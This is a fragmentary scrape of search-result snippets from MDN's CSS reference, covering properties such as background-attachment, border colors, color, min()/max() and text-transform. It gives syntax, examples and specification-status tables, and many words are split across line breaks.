ying every door, she walked sadly down the middle, wondering how she was ever to get out again. </p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images. you can specify a different <attachment> for each background, separated by co
mmas. each image is matched with the corresponding attachment type, from first specified to last. html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to get out again. suddenly she came upon a little three-legged table, a...
... ...
...org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification. candidate reco
mmendation the shorthand property has been extended to support multiple backgrounds and the local value. css level 2 (revision 1)the definition of 'background-attachment' in that specification. reco
mmendation no significant change. css level 1the definition of 'background-attachment' in that specification. reco
mmendation no significant change. ...
background-clip - CSS: Cascading Style Sheets
image on the root element is none and its background-color is transparent, user agents must instead propagate the computed values of the background properties from that element’s first html <body> child element. the used values of that <body> element’s background properties are their initial values, and the propagated values are treated as if they were specified on the root element. it is reco
mmended that authors of html documents specify the canvas background for the <body> element rather than the html element. syntax /* keyword values */ background-clip: border-box; background-clip: padding-box; background-clip: content-box; background-clip: text; /* global values */ background-clip: inherit; background-clip: initial; background-clip: unset; values border-box the background e...
... css backgrounds and borders module level 4the definition of 'background-clip' in that specification. editor's draft add text value. ...
... css backgrounds and borders module level 4the definition of 'background-clip' in that specification. editor's draft add text value. ...
background-image - CSS: Cascading Style Sheets
won't be displayed in normal circumstances, web developers should always specify a background-color. if the images cannot be loaded—for instance, when the network is down—the background color will be used as a fallback. syntax each background image is specified either as the keyword none or as an <image> value. to specify multiple background images, supply multiple values, separated by a co
mma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images. <image> is an <image> denoting the image to display. there can be several of them, separated by co
mmas, as multiple backgrounds are supported. accessibility concerns browsers do ...
...ansparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-image' in that specification. candidate reco
mmendation from css2 revision 1, the property has been extended to support multiple backgrounds and any <image> css data type. css level 2 (revision 1)the definition of 'background-image' in that specification. reco
mmendation from css1, the way i...
...evision 1, the property has been extended to support multiple backgrounds and any <image> css data type. css level 2 (revision 1)the definition of 'background-image' in that specification. reco
mmendation from css1, the way images with and without intrinsic dimensions are handled is now described. css level 1the definition of 'background-image' in that specification. reco
mmendation initial definition. ...
background-repeat - CSS: Cascading Style Sheets
d-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif), url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in this example, each list item is matched with a different value of background-repeat. ...
...esign/img/favicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in this example, each list item is matched with a different value of background-repeat. specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-repeat' in that specification. ...
...idate reco
mmendation adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the space and round keywords, and for backgrounds on inline-level elements by precisely defining the background painting area. css level 2 (revision 1)the definition of 'background-repeat' in that specification. reco
mmendation no significant changes. css level 1the definition of 'background-repeat' in that specification. reco
mmendation initial definition. ...
background-size - CSS: Cascading Style Sheets
of the following ways: using the keyword values contain or cover. using a width value only, in which case the height defaults to auto. using both a width and a height value, in which case the first sets the width and the second sets the height. each value can be a <length>, a <percentage>, or auto. to specify the size of multiple background images, separate the value for each one with a co
mma. values contain scales the image as large as possible without cropping or stretching the image. cover scales the image as large as possible without stretching the image. if the proportions of the image differ from the element, it is cropped either vertically or horizontally so that no empty space remains. auto scales the background image in the corresponding direction such that its intr...
... the css3 image values gradient specification. .gradient-example { width: 50px; height: 100px; background-image: linear-gradient(blue, red); /* not safe to use */ background-size: 25px; background-size: 50%; background-size: auto 50px; background-size: auto 50%; /* safe to use */ background-size: 25px 50px; background-size: 50% 50%; } note that it's particularly not reco
mmended to use a pixel dimension and an auto dimension with a <gradient>, because it's impossible to replicate rendering in versions of firefox prior to 8, and in browsers not implementing firefox 8's rendering, without knowing the exact size of the element whose background is being specified. formal definition initial valueauto autoapplies toall elements. it also applies to ::first-letter and ::f...
... but with relative lengths converted into absolute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples please see scaling background images for examples. specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-size' in that specification. candidate reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<basic-shape> - CSS: Cascading Style Sheets
each value in the shape functions. if both shapes are of type inset(), interpolate between each value in the shape functions. if both shapes are of type polygon(), both polygons have the same number of vertices, and use the same <fill-rule>, interpolate between each value in the shape functions. if both shapes are of type path(), both paths strings have the same number and types of path data co
mmands in the same order, interpolate each path data co
mmand as real numbers. in all other cases no interpolation occurs. examples animated polygon in this example, we use the @keyframes at-rule to animate a clip path between two polygons. note that both polygons have the same number of vertices, which is necessary for this type of animation to work. html <div></div> css div { width: 300p...
... ...
... ...
<blend-mode> - CSS: Cascading Style Sheets
3/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: luminosity; } description for each pixel among the layers to which it is applied, a blend mode takes the colors of the foreground and the background, perfoms a calculation on them, and returns a new color value. changes between blend modes are not interpolated. any change occurs i
mmediately. examples blend mode comparison in the following example, we have a <div> with two background images set on it — a firefox logo on top of a linear gradient. below it we have a provided a <select> menu that allows you to change the background-blend-mode applied to the <div>, allowing you to compare the different blend mode effects. html <div></div> <p>choose a blend-mode:</p> <selec...
... ...
... ...
border-bottom-color - CSS: Cascading Style Sheets
rder-top-color'> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it. ...
... side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification. ...
...atus co
mment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification. candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed. css level 2 (revision 1)the definition of 'border-bottom-color' in that specification. ...
border-bottom-style - CSS: Cascading Style Sheets
...
... ...
...om-style: inset;} .b10 {border-bottom-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-bottom-style' in that specification. reco
mmendation initial definition. ...
border-left-color - CSS: Cascading Style Sheets
<number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it. ...
...hich side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification. ...
... status co
mment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification. candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed. css level 2 (revision 1)the definition of 'border-left-color' in that specification. ...
border-right-color - CSS: Cascading Style Sheets
number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it. ...
...ch side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification. ...
...status co
mment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification. candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed. css level 2 (revision 1)the definition of 'border-right-color' in that specification. ...
border-top-color - CSS: Cascading Style Sheets
hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it. ...
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification. ...
... status co
mment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification. candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed. css level 2 (revision 1)the definition of 'border-top-color' in that specification. ...
border - CSS: Cascading Style Sheets
though it cannot be set to a custom value using the shorthand, border now resets border-image to its initial value (none). css level 2 (revision ...
...border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border' in that specification. candidate reco
mmendation removes specific support for transparent, as it is now a valid <color>; this has no practical impact. though it cannot be set to a custom value using the shorthand, border now resets border-image to its initial value (none). css level 2 (revision 1)the definition of 'border' in that specification. reco
mmendation accepts the inherit keyword. also accepts transparent a...
... browser compatibility the compatibility table in this page is generated from structured data. ...
break-inside - CSS: Cascading Style Sheets
containing an image and a caption. by default, it is possible for you to get a break between the image and its caption, which is not what we want. to avoid this, we have set break-inside: avoid on the <figure>, which causes them to always stay together. html <article> <h1>main heading</h1> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla vitae fringilla mauris. quisque co
mmodo eget nisi sed pretium. mauris luctus nec lacus in ultricies. mauris vitae hendrerit arcu, ac scelerisque lacus. aliquam lobortis in lacus sit amet posuere. fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <figure> <img src="https://udn.realityripple.com/samples/fe/4508d88f78.png"> <figcaption>the firefox logo — fox wrapped around the world</figcaption> </figure...
... css regions module level 1the definition of 'break-inside' in that specification. working draft extends the property to handle region breaks. css multi-column layout modulethe definition of 'break-inside' in that specification. ...
... css regions module level 1the definition of 'break-inside' in that specification. ...
clip - CSS: Cascading Style Sheets
...
... ...
...15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status co
mment css masking module level 1the definition of 'clip' in that specification. candidate reco
mmendation deprecates clip property, suggests clip-path as replacement. css level 2 (revision 1)the definition of 'clip' in that specification. reco
mmendation initial definition. ...
color - CSS: Cascading Style Sheets
allows alpha values in rgb() and hsl(), turning rgba() and hsla() into (deprecated) aliases for them. adds color keyword rebeccapurple. adds 4- and 8-digit hex color values, where the last digit(s) represen...
...#ff0000; } p { color: rgb(255,0,0); } p { color: rgb(100%, 0%, 0%); } p { color: hsl(0, 100%, 50%); } /* 50% translucent */ p { color: #ff000080; } p { color: rgba(255, 0, 0, 0.5); } p { color: hsla(0, 100%, 50%, 0.5); } specifications specification status co
mment css color module level 4the definition of 'color' in that specification. working draft adds co
mmaless syntaxes for the rgb(), rgba(), hsl(), and hsla() functions. allows alpha values in rgb() and hsl(), turning rgba() and hsla() into (deprecated) aliases for them. adds color keyword rebeccapurple. adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value. adds hwb(), device-cmyk(), and color() functions. css color module level 3the definiti...
... and hsla() functions. allows alpha values in rgb() and hsl(), turning rgba() and hsla() into (deprecated) aliases for them. adds color keyword rebeccapurple. adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value. adds hwb(), device-cmyk(), and color() functions. css color module level 3the definition of 'color' in that specification. reco
mmendation deprecates system-colors. adds svg colors. adds the rgba(), hsl(), and hsla() functions. css level 2 (revision 1)the definition of 'color' in that specification. reco
mmendation adds the orange color and the system colors. css level 1the definition of 'color' in that specification. reco
mmendation initial definition. ...
<custom-ident> - CSS: Cascading Style Sheets
a decimal digit. -12rad it must not start with a dash followed by a decimal digit. bili.bob only alphanumeric characters, _, and - needn't be escaped. --toto it must not start with two dashes. this would be a custom property. 'bilibob' this would be a <string>. "bilibob" this would be a <string>. specifications specification status co
mment css values and units module level 4the definition of '<custom-ident>' in that specification. editor's draft css will change module level 1the definition of '<custom-ident> for will-change' in that specification. candidate reco
mmendation defines which values are excluded for will-change. css counter styles level 3the definition of '<custom-ident> for ...
...defines which values are excluded for list-style-type and @counter-style. ...
... working draft renames <identifier> to <custom-ident>. adds its usage to the new counter-set property. css animationsthe definition of '<custom-ident> for animation-name' in that specification. working draft defines which values are excluded for animation-name. css values and units module level 3the definition of '<custom-ident>' in that specification. candidate reco
mmendation renames <identifier> to <custom-ident>. makes it a pseudo-type and forbids the use of excluded values. css level 2 (revision 1)the definition of '<identifier>' in that specification. reco
mmendation initial definition. ...
<easing-function> - CSS: Cascading Style Sheets
side the [0, 1] range may generate bouncing effects. when you specify an invalid cubic-bezier curve, css ignores the whole property. syntax cubic-bezier(x1, y1, x2, y2) where: x1, y1, x2, y2 are <number> values representing the abscissas, and ordinates of the p1 and p2 points defining the cubic bézier curve. x1 and x2 must be in the range [0, 1] or the value is invalid. keywords for co
mmon cubic-bezier easing functions ease the animation starts slowly, accelerates sharply, and then slows gradually towards the end. this keyword represents the easing function cubic-bezier(0.25, 0.1, 0.25, 1.0). it is similar to ease-in-out, though it accelerates more sharply at the beginning. ease-in the animation starts slowly, and then progressively speeds up until the end, at which point...
...ent of jump-start end is the equivalent of jump-end end is the default. steps( n, <direction> ) steps(2, jump-start) steps(2, start) steps(4, jump-end) steps(4, end) steps(5, jump-none) steps(3, jump-both) steps-start the equivalent of steps(1, jump-start) steps-end the equivalent of steps(1, jump-end) step-start the animation jumps i
mmediately to its final state, where it stays until the end. this keyword represents the easing function steps(1, jump-start) or steps(1, start). step-end the animation stays in its initial state until the end, at which point it jumps directly to its final state. this keyword represents the easing function steps(1, jump-end) or steps(1, end). examples easing function comparison this example cr...
...art) /* the second parameter is optional. */ steps(2) these easing function are invalid: /* the first parameter must be an <integer> and cannot be a real value, even if it is equal to one. */ steps(2.0, jump-end) /* the amount of steps must be non-negative. */ steps(-3, start) /* there must be at least one step.*/ steps(0, jump-none) specifications specification status co
mment css animationsthe definition of '<timing-function>' in that specification. working draft defines <single-timing-function> as a synonym for <single-transition-timing-function> of the css transitions module. css timing functions level 1the definition of '<easing-function>' in that specification. working draft initial definition. ...
float - CSS: Cascading Style Sheets
: 150px; } .left { float: left; background: pink; } .right { float: right; background: cyan; } result clearing floats sometimes you may want to force an item to move below any floated elements. for instance, you may want paragraphs to remain adjacent to floats, but force headings to be on their own line. see clear for examples. ...
...s, but force headings to be on their own line. see clear for examples. specifications specification status co
mment css logical properties and values level 1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end. css level 2 (revision 1)the definition of 'float' in that specification. ...
...cification status co
mment css logical properties and values level 1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end. css level 2 (revision 1)the definition of 'float' in that specification. reco
mmendation no change css level 1the definition of 'float' in that specification. ...
font-variation-settings - CSS: Cascading Style Sheets
using font-variation-settings will always override those set using the corresponding basic font properties, e.g. font-weight, no matter where they appear in the cascade. in some browsers, this is currently only true when the @font-face declaration includes a font-weight range. registered and custom axes variable font axes come in two types: registered and custom. registered axes are the most co
mmonly encountered — co
mmon enough that the authors of the specification felt they were worth standardizing. note that this doesn't mean that the author has to include all of these in their font. here are the registered axes along with their corresponding css properties: axis tag css property "wght" font-weight "wdth" font-stretch "slnt" (slant) ...
... font-style: oblique + angle "ital" font-style: italic "opsz" font-optical-sizing custom axes can be anything the font designer wants to vary in their font, for example ascender or descender heights, the size of serifs, or anything else they can imagine. any axis can be used as long as it is given a unique 4-character axis. some will end up becoming more co
mmon, and may even become registered over time. note: registered axis tags are identified using lower-case tags, whereas custom axes should be given upper-case tags. note that font designers aren't forced follow this practice in any way, and some won't. the important takeaway here is that axis tags are case-sensitive. in order to use variable fonts on your operating system, you need to make sure...
...ou can find a number of other variable fonts examples at our variable fonts guide, v-fonts.com, and axis-praxis.org. weight (wght) the following live example's css can be edited to allow you to play with font weight values. slant (slnt) the following live example's css can be edited to allow you to play with font slant/oblique values. specifications specification status co
mment css fonts module level 4the definition of 'font-variation-settings' in that specification. working draft initial definition ...
ime-mode - CSS: Cascading Style Sheets
ed on linux. disabled the input method editor is disabled and may not be activated by the user. description unlike internet explorer, firefox's implementation of ime-mode allows this property on <input type="password">. however, this makes for a bad user experience, and password fields should not enable the ime. users may correct the inappropriate behavior of sites that don't follow this reco
mmendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the previous state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value. formal definition initial valueautoapplies totext fieldsinheritednocomputed val...
...ich it is disabled loses focus, so mac users may get grumpy when you use the disabled value. formal definition initial valueautoapplies totext fieldsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | normal | active | inactive | disabled examples disabling input method support this example disables input method support for a form field. in the past, this was co
mmonly used on fields that entered data into databases which didn't support extended character sets. <input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to prevent extended characters from passing through your form. even with ime disabled, users can still paste extended characters into your form's fields. specifications ...
...ta into databases which didn't support extended character sets. <input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to prevent extended characters from passing through your form. even with ime disabled, users can still paste extended characters into your form's fields. specifications specification status co
mment css basic user interface module level 3the definition of 'ime-mode' in that specification. reco
mmendation initial definition. makes ime-mode officially obsolete. ...
Inheritance - CSS: Cascading Style Sheets
refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no"). inherited properties when no value for an inherited property has been specified on an element, the element gets the computed value of that property on its parent element. only the root element of the document gets the initial value given in the property's su
mmary. a typical example of an inherited property is the color property. given the style rules: p { color: green; } ... and the markup: <p>this paragraph has <em>emphasized text</em> in it.</p> ... the words "emphasized text" will appear green, since the em element has inherited the value of the color property from the p element. it does not get the initial value of the property (which is the c...
...ment has inherited the value of the color property from the p element. it does not get the initial value of the property (which is the color that is used for the root element when the page specifies no color). non-inherited properties when no value for a non-inherited property has been specified on an element, the element gets the initial value of that property (as specified in the property's su
mmary). a typical example of a non-inherited property is the border property. given the style rules: p { border: medium solid; } ... and the markup: <p>this paragraph has <em>emphasized text</em> in it.</p> ... the words "emphasized text" will not have a border (since the initial value of border-style is none). notes the inherit keyword allows authors to explicitly specify inheritance. it ...
... } this reverts the style of the font property to the user agent's default unless a user stylesheet exists, in which case that is used instead. then it doubles the font size and applies a font-weight of "bold". see also css values for controlling inheritance: inherit, initial, unset, and revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, co
mments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values. definitions of value syntax, shorthand properties and replaced elements. ...
max() - CSS: Cascading Style Sheets
the max() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. in the first above example, the width will be at least 400px, but will be wider if the the viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px). ...
...ect, please clone https://github.com/mdn/interactive-examples and send us a pull request. in the first above example, the width will be at least 400px, but will be wider if the the viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px). think of the max() value as providing the minimum value a property can have. syntax the max() function takes one or more co
mma-separated expressions as its parameter, with the largest (most positive) expression value used as the value of the property to which it is assigned. the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions. you can use different units fo...
...alue a relative length unit that is always large enough to read. for example: small { font-size: max(min(0.5vw, 0.5em), 1rem); } this ensures a minimum size of 1rem, with a text size that scales if the page is zoomed. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 specifications specification status co
mment css values and units module level 4the definition of 'max()' in that specification. editor's draft initial definition ...
min() - CSS: Cascading Style Sheets
the min() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. in the first above example, the width will be at most 200px, but will be smaller if the viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px). ...
...n/interactive-examples and send us a pull request. in the first above example, the width will be at most 200px, but will be smaller if the viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px). in other words, the maximum width is 200px. think of the min() value as providing the maximum value a property can have. syntax the min() function takes one or more co
mma-separated expressions as its parameter, with the smallest (most negative) expression value result used as the value. the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>). you can use different units for each value in your expression, if you wish. you may also use parent...
...el to be the lesser of 40% of the form width up to the padding or 400px wide, whichever is smaller. in other words, the widest that the label and input can be is 400px. the narrowest they will be is 40% of the form's width, which on a smartwatch's screen is very small. <form> <label>type something:</label> <input type="text"> </form> specifications specification status co
mment css values and units module level 4the definition of 'min()' in that specification. editor's draft initial definition. ...
outline-color - CSS: Cascading Style Sheets
ine is drawn outside the element's frame, and may overlap other content. the border, on the other hand, will actually alter the page's layout to ensure that it fits without overlapping anything else (unless you explicitly set it to overlap). it is often more convenient to use the shorthand property outline when defining the appearance of an outline. accessibility concerns custom focus styles co
mmonly involve making adjustments to the outline property. if the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the background the outline is placed over is high enough that people experiencing low vision conditions will be able to perceive it. color contrast ratio is determined by comparing the luminosity of the text and background color values.
... browser compatibility the compatibility table in this page is generated from structured data. if you'd like to cont...
... blue outline html <p>my outline is blue, as you can see.</p> css p { outline: 2px solid; /* set the outline width and style */ outline-color: #0000ff; /* make the outline blue */ margin: 5px; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-color' in that specification. reco
mmendation no change. css level 2 (revision 1)the definition of 'outline-color' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobile...
outline-style - CSS: Cascading Style Sheets
...
... ...
...outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-style' in that specification. reco
mmendation added auto value. css level 2 (revision 1)the definition of 'outline-style' in that specification. reco
mmendation initial definition. ...
outline-width - CSS: Cascading Style Sheets
...
... ...
...outline-width: 2px; } #oneex { outline-width: 1ex; } #em { outline-width: 1.2em; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-width' in that specification. reco
mmendation no change. css level 2 (revision 1)the definition of 'outline-width' in that specification. reco
mmendation initial definition. ...
perspective-origin - CSS: Cascading Style Sheets
ass="cube poml"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube po
mm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div ...
...s="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> </section> css /* perspective-origin values (unique per example) */ .potl { perspective-origin: top left; } .potm { perspective-origin: top; } .potr { perspective-origin: top right; } .poml { perspective-origin: left; } .po
mm { perspective-origin: 50% 50%; } .pomr { perspective-origin: right; } .pobl { perspective-origin: bottom left; } .pobm { perspective-origin: bottom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, ...
... editor's draft initial definition. ...
<position> - CSS: Cascading Style Sheets
olated independently. however, because the speed of the interpolation is determined by a single timing function for both coordinates, the point will move in a straight line. examples valid positions center left center top right 8.5% bottom 12vmin right -6px 10% 20% 8rem 14px invalid positions left right bottom top 10px 15px 20px 15px specifications specification status co
mment css values and units module level 3the definition of '<position>' in that specification. candidate reco
mmendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used. css backgrounds and borders module level 3the definition of '<bg-position>' in that specification. candidate...
... css values and units module level 3the definition of '<position>' in that specification. candidate reco
mmendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used. css backgrounds and borders module level 3the definition of '<bg-position>' in that specification. candidate reco
mmendation defines <position> explicitly and extends it to support offsets from any edge. css level 2 (revision 1)the definition of '<position>' in that specification. reco
mmendation allows combination of a keyword with a <length> or <percentage> value. ...
...tion>' in that specification. candidate reco
mmendation defines <position> explicitly and extends it to support offsets from any edge. css level 2 (revision 1)the definition of '<position>' in that specification. reco
mmendation allows combination of a keyword with a <length> or <percentage> value. css level 1the definition of '<position>' in that specification. reco
mmendation defines <position> anonymously as the value of background-position. ...
shape-image-threshold - CSS: Cascading Style Sheets
le creates a <div> block with a gradient background image. the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape. html <div id="gradient-shape"></div> <p> lorem ipsum dolor sit amet, consectetur adipisicing elit. vel at co
mmodi voluptates enim, distinctio officia. saepe optio accusamus doloribus sint facilis itaque ab nulla, dolor molestiae assumenda cum sit placeat adipisci, libero quae nihil porro debitis laboriosam inventore animi impedit nostrum nesciunt quisquam expedita! dolores consectetur iure atque a mollitia dicta repudiandae illum exercitationem aliquam repellendus ipsum porro modi, id nemo eli...
... a linear gradient rather than an image file. ...
...establishing the float area, using the shape-outside property. ...
text-align - CSS: Cascading Style Sheets
editor's draft no changes css text module level 4the definition of 'text-align' in that specification. editor's draft added the <string> value. css text module level 3the definition of 'text-align' in that specification. working draft added the start, ...
...inition of 'text-align' in that specification. editor's draft added the <string> value. ...
... text module level 3the definition of 'text-align' in that specification. working draft added the start, end, and match-parent values. ...
text-emphasis-position - CSS: Cascading Style Sheets
al writing mode. right draws marks to the right of the text in vertical writing mode. left draw marks to the left of the text in vertical writing mode. description the preferred position of emphasis marks depends on the language. in japanese for example, the preferred position is over right. in chinese, on the other hand, the preferred position is under right. ...
...e: ruby { text-emphasis: none; } preferring emphasis marks over ruby some other editors prefer to hide ruby when they conflict with emphasis marks. ...
...flict with emphasis marks. ...
text-transform - CSS: Cascading Style Sheets
ingle code point when converting these characters into full-width. full-size-kana <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> </p> p:nth-of-type(2) { text-transform: full-size-kana; } specifications specification status co
mment css text module level 3the definition of 'text-transform' in that specification. working draft from css level 2 (revision 1)the definition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category. modifies the behavior of capitalize to apply to the first letter of the word, ignoring initial punctuations or ...
...ition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category. modifies the behavior of capitalize to apply to the first letter of the word, ignoring initial punctuations or symbols. ...
...itial punctuations or symbols. adds the full-width and full-size-kana keywords. css level 2 (revision 1)the definition of 'text-transform' in that specification. ...
<time> - CSS: Cascading Style Sheets
units s represents a time in seconds. examples: 0s, 1.5s, -60s. ms represents a time in milliseconds. examples: 0ms, 150.25ms, -60000ms. note: conversion between s and ms follows the logical 1s = 1000ms. ...
...o
mmended. +0s zero with a leading + and a unit -0ms zero with a leading - and a unit invalid times 0 although unitless zero is allowed for <length>s, it's invalid for <time>s. 12.0 this is a <number>, not a <time>, because it's missing a unit. 7 ms no space is allowed between the number and the unit. specifications specification status co
mment css values and units module level 4the definition of '<time>' in that specification. editor's draft css values and units module level 3the definition of '<time>' in that specification. candidate reco
mmendation normative definition of s and ms. css level 2 (revision 1)the definition of '<time>' in that specification. ...
...ification status co
mment css values and units module level 4the definition of '<time>' in that specification. editor's draft css values and units module level 3the definition of '<time>' in that specification. candidate reco
mmendation normative definition of s and ms. css level 2 (revision 1)the definition of '<time>' in that specification. reco
mmendation informal definition of s and ms. ...
<transform-function> - CSS: Cascading Style Sheets
ranslates an element on the 2d plane. translate3d() translates an element in 3d space. translatex() translates an element horizontally. translatey() translates an element vertically. translatez() translates an element along the z-axis. description various coordinate models can be used to describe an html element's size and shape, as well as any transformations applied to it. the most co
mmon is the cartesian coordinate system, although homogeneous coordinates are also sometimes used. cartesian coordinates in the cartesian coordinate system, a two-dimensional point is described using two values: an x coordinate (abscissa) and a y coordinate (ordinate). this is represented by the vector notation (x, y). in css (and most computer graphics), the origin (0, 0) represents the top-le...
... by using matrix multiplication. thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c2 b2 d2 = a1 a2 + c1 b2 a1 c2 + c1 d2 b1 a2 + d1 b2 b1 c2 + d1 d2 with this notation, it is possible to describe, and therefore compose, most co
